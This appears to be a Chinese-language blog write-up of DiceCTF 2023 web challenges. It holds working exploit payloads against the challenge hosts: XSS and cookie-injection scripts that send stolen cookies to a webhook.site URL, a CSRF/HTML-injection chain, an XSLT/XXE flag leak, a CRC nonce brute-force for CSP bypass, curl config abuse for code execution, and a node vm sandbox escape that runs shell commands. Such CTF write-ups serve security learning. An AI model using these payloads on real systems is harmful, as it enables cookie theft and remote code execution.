an4er

Want to be a Ctfer, Developer, Red Team


DiceCTF2023 WP

Published February 12, 2023

jnotes

题目总体代码很短,有一个XSS的点,flag在cookie中,被设置为httpOnly,所以目的是偷取cookie。

因为唯一的回显点在后端会输出note这个cookie的值到前端,我们才能获得,所以突破点在后端,后端就是一个简单的javalin程序,我最后的尝试是想能不能根据编码的差别在存储cookie时,设置类似;的符号去混乱cookie的键值对,尝试失败,会抛出RFC协议不允许作为cookie的值,后来也看了下javalin关于cookie的文档和源码调试,没发现啥点

复现发现javalin是基于jetty的,靠了、光顾着看javalin没看jetty。在/jetty-http/src/main/java/org/eclipse/jetty/http/CookieCutter.java中,看到了jetty是这么解析接收到的cookie的,如果遇到",则到"结束的当作一个值

因为note也是httpOnly的,所以也无法使用js去设置它的值,这里利用document.cookie='=note=";path=//';创建键为空,值为note的cookie,发送时也就是 note="....这里为了让note在最前面以可以覆盖掉后面的值所以让path的路径较长与FLAG

  • Cookies with longer path are listed before cookies with shorter path.
  • Cookies which are edited least recently are listed before cookies which are edited most recently.

引用及payload来自https://github.com/RohitNarayananM/blog/tree/main/dicectf23-writeups/jnotes

<html>
<body>
<form method="POST" action="https://jnotes.mc.ax/create">
    <input id="p" name="note" value="" >
</form>
<script>
    document.querySelector("#p").value = `</textarea>
      <\x73cript>
      document.cookie='=note=";path=//';
      const frame = document.createElement('iframe');
      frame.src = "https://jnotes.mc.ax//";
      document.body.appendChild(frame);
      frame.onload = () => {
        navigator.sendBeacon("https://webhook.site/5dd13816-1676-4a89-86d8-f98dab51e720",frame.contentWindow.document.body.innerHTML);
        }
      </\x73cript>`;
    document.forms[0].submit();
</script>
</body>
</html>

offical https://blog.ankursundara.com/dicectf23-writeups/

<!DOCTYPE html>
<html lang="en">
  <body>
    <form method="POST" action="https://jnotes.mc.ax/create">
      <input id="p" name="note" value="" />
    </form>

    <script>
      document.querySelector("#p").value = `</textarea>
      <\x73cript>
      if (window.location.pathname !== "//") {
        document.cookie = 'note=; Max-Age=-1';
        document.cookie = '=note="uhhh; path=//';
        document.cookie = 'END=ok" ; path=';
        w = window.open('https://jnotes.mc.ax//');
        setTimeout(()=>{
          ex = w.document.body.innerHTML;
          navigator.sendBeacon('https://hc.lc/log2.php', ex);
        }, 500);
      }
      </\x73cript>`;
      document.forms[0].submit();
    </script>
  </body>
</html>

gift

赛后学习@deltaclock师傅的思路,估计是非预期,就两步

利用admin身份创建gift

window.open("https://gift.mc.ax/create/Infinity");

在创建加载的时候登录,目的是更改用户名,因为生成create界面的时候会再次发送请求到/api/info获得用户名,但是public是使用admin创建的,然后又用户名存在html注入,所以存在外带的可能性

对着大佬的poc改改(删了一些没有影响的东西方便理解 如下

<!DOCTYPE html>
<html lang="en">

<head>
    <title>Document</title>
</head>

<body>
<form id="csrf" action="https://gift.mc.ax/api/login" method="POST" enctype="text/plain">
    <input name='json' value='"}' />
</form>

<noscript id="meta">
    <base href="https://example.com/">
    <meta http-equiv="refresh" content="0; url=URL">
</noscript>

<script>
    function make_csrf(html_payload) {
        let p = JSON.stringify({
            name: html_payload,
            junk: ""
        })
        p = p.substring(0, p.length - 2);

        const csrf = document.getElementById("csrf");
        csrf.firstElementChild.name = p;
    }

    function make_payload() {
        const url = new URL(location.href)
        url.searchParams.append("leak", "1");

        const meta = document.getElementById("meta");
        return meta.innerHTML.trim().replace(`URL">`, url.toString());
    }

    const sleep = d => new Promise(r => setTimeout(r, d));
    async function main() {
        const url = new URL(location.href);
        if (url.searchParams.has("leak")) {
            navigator.sendBeacon("https://webhook.site/5dd13816-1676-4a89-86d8-f98dab51e720",location.search);
        } else if (url.searchParams.has("pay")) {
            const html = make_payload();
            make_csrf(html);
            document.getElementById("csrf").submit();
        } else {
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            const pay = window.open(`${location.href}?pay=yes`);
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
            window.open("https://gift.mc.ax/create/Infinity");
        }

    }
    main();
</script>
</body>

</html>

然后获得邀请链接,创建个账户使用后访问/flag即可

impossible-xss

bot使用.setJavaScriptEnabled禁止js的执行

await page.setJavaScriptEnabled(false);

res.end相较于res.send不会返回Content-Type

This means chrome will perform content sniffing on the response.

xmls = `<?xml version="1.0"?>
<!DOCTYPE a [
   <!ENTITY xxe SYSTEM  "https://impossible-xss.mc.ax/flag" >]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
  <xsl:template match="/asdf">
    <HTML>
      <HEAD>
        <TITLE></TITLE>
      </HEAD>
      <BODY>
        <img>
          <xsl:attribute name="src">
            https://webhook.site/5dd13816-1676-4a89-86d8-f98dab51e720/?&xxe;
          </xsl:attribute>
        </img>
      </BODY>
    </HTML>
  </xsl:template>
</xsl:stylesheet>`

xml=`<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:text/plain;base64,${btoa(xmls)}"?>
<asdf></asdf>`
xss=encodeURIComponent(xml)
console.log("https://impossible-xss.mc.ax/?xss="+xss)

recursive-csp

csp中

script-src 'nonce-$nonce'

如下可以绕过CSP,其中的nonce要和整个js语句hash出来的nonce相等

<script nonce='ZZZZZZZZ'>alert(1)</script>

payload

import crc from "crc/crc32";

const target = "e8b7be43";
const script = `<script nonce="${target}">location.href='https://webhook.site/5dd13816-1676-4a89-86d8-f98dab51e720'+document.cookie</script>`;

const printables =
    "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c";

for (const a of printables) {
    for (const b of printables) {
        for (const c of printables) {
            for (const d of printables) {
                for (const e of printables) {
                    const result = script + a + b + c + d + e;
                    const digest = crc(result).toString(16);
                    if (digest === target) {
                        console.log(result);
                        process.exit(0);
                    }
                }
            }
        }
    }
}

scorescope

查看测试环境的变量

import __main__
def add(a, b):
    raise BaseException(dir(__main__))

利用通过测试

import __main__

__main__.tests = ['test_add_positive'] * 22

def add(a, b):
    return a+b

unfinished

没给注册功能,但后续的操作需要经过登录中间件验证,查看验证中间件如下

const requiresLogin = (req, res, next) => {
    if (!req.session.user) {
        res.redirect("/?error=You need to be logged in");
    }
    next();
};

对比如下安全版本

const requiresLogin = (req, res, next) => {
    if (!req.session.user) {
        res.redirect("/?error=You need to be logged in");
    }
    next();
};

所以我们还是可以访问ping路由的,只是没有返回罢了

ping路由使用了curl来执行命令,我们可以-o来指定生成.curlrc,然后使用-K来使用配置

But, if you played ASIS CTF 2022’s web/xtr challenge, you might know that NodeJS will try to load some nonexistent .js files in some specific folders like .node_modules. Running strace node /app/app.js you would see that it tried to open the directory /home/user/.node_modules/. If you create that folder then run strace again, you would see it tried to find the file /home/user/.node_modules/kerberos.js.

在配置中使用--create-dirs去生成.node_modules目录,然后保存名为kerberos.js文件,即可在node崩溃重启后执行自定义的js文件

作者的想法是利用telnet 去向MongoDB进行对应协议 的请求 然后查询flag后保存到本地 然后使用配置携带发送

const BSON = require("bson");
const fs = require("fs");

const doc = {
  find: "flag",
  $db: "secret"
};
const data = BSON.serialize(doc);

let beginning = Buffer.from(
  "000000000000000000000000DD0700000000000000",
  "hex"
);
let full = Buffer.concat([beginning, data]);

full.writeUInt32LE(full.length, 0);
fs.writeFileSync("bson.bin", full);

codebox

后端中的CSP可控

    const csp = [
        "default-src 'none'",
        "style-src 'unsafe-inline'",
        "script-src 'unsafe-inline'",
    ];

    if (images.length) {
        csp.push(`img-src ${images.join(' ')}`);
    }

    res.header('Content-Security-Policy', csp.join('; '));

flag是通过innerHTML直接写入到DOM里,如果在CSP header里指定 require-trusted-types-for 'script' ,这个 innerHTML 的赋值就会因为字符串没有经过 Trusted-Types 处理而违反CSP规则。

违反CSP规则可以通过 report-uri 或者 report-to 来上报给指定的地址,上报的内容会包含一小部分错误详情。

构造如下 payload 并访问:

https://codebox.mc.ax/?code=<img+src="111%3brequire-trusted-types-for+'script'%3breport-uri+http://csp.example.com%3b">

前端的 code 是通过浏览器的 URL 类 searchParams.get() 获取的,这个方法在存在多个相同参数的情况下取第一个。而后端取 req.query.code 的时候,express.js 取的是最后一个。

jwtjail

vm的上下文为Object.create(null),因此无法使用this的原型链获取v8上下文为vm外的Object

const endpoint = `https://jwtjail-fcf2ebccc5f50f79.mc.ax`
const jwt = require('jsonwebtoken')
// const endpoint = `http://localhost:12345`

const token = jwt.sign({}, 'a')

fetch(endpoint + `/api/verify`, {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'
  },
  body: new URLSearchParams({
    token: `'${token}'`,
    secretOrPrivateKey: `
(() => {
  const c = (name, tar = {}) => new Proxy(
    tar,
    {
      apply: (...args) => {
        try {
          const process = args[2].constructor.constructor.constructor('return process')()
          const flag = process
            .binding('spawn_sync')
            .spawn({
              maxBuffer: 1048576,
              shell: true,
              args: [ '/bin/sh', '-c', "/readflag" ],
              cwd: undefined,
              detached: false,
              envPairs: ['PWD=/'],
              file: '/bin/sh',
              windowsHide: false,
              windowsVerbatimArguments: false,
              killSignal: undefined,
              stdio: [
                { type: 'pipe', readable: true, writable: false },
                { type: 'pipe', readable: false, writable: true },
                { type: 'pipe', readable: false, writable: true }
              ]
            }).output[1].toString().trim()
          console.log(flag)
          process.__proto__.__proto__.__proto__.constructor.prototype.toJSON =
            () => flag
        } catch (e) {
          console.log(e.stack)
        }
      },
      get: (...args) => {
        if(args[1] === Symbol.toPrimitive) {
          return c(name + '.' + String(args[1]), () => {
            throw new Error()
          });
        }
        return c(name + '.' + String(args[1]));
      }
    }
  );
  return c('a', {});
})()`
  })
})
  .then((res) => res.text())
  .then(console.log)

返回的代理的constructor.name.[Symbol.toPrimitive]会被作为函数执行。其内部逻辑是在jsonwentoken模块试图将返回的Proxy生成key时,类型不匹配抛出错误,而生成错误文本时会试图读取类名称。对于Proxy的apply钩子,其第三个参数为调用者传入的参数列表,这个列表的v8上下文并不在vm内,从而可以返回process对象。使用process.binding即可做到shell任意命令执行。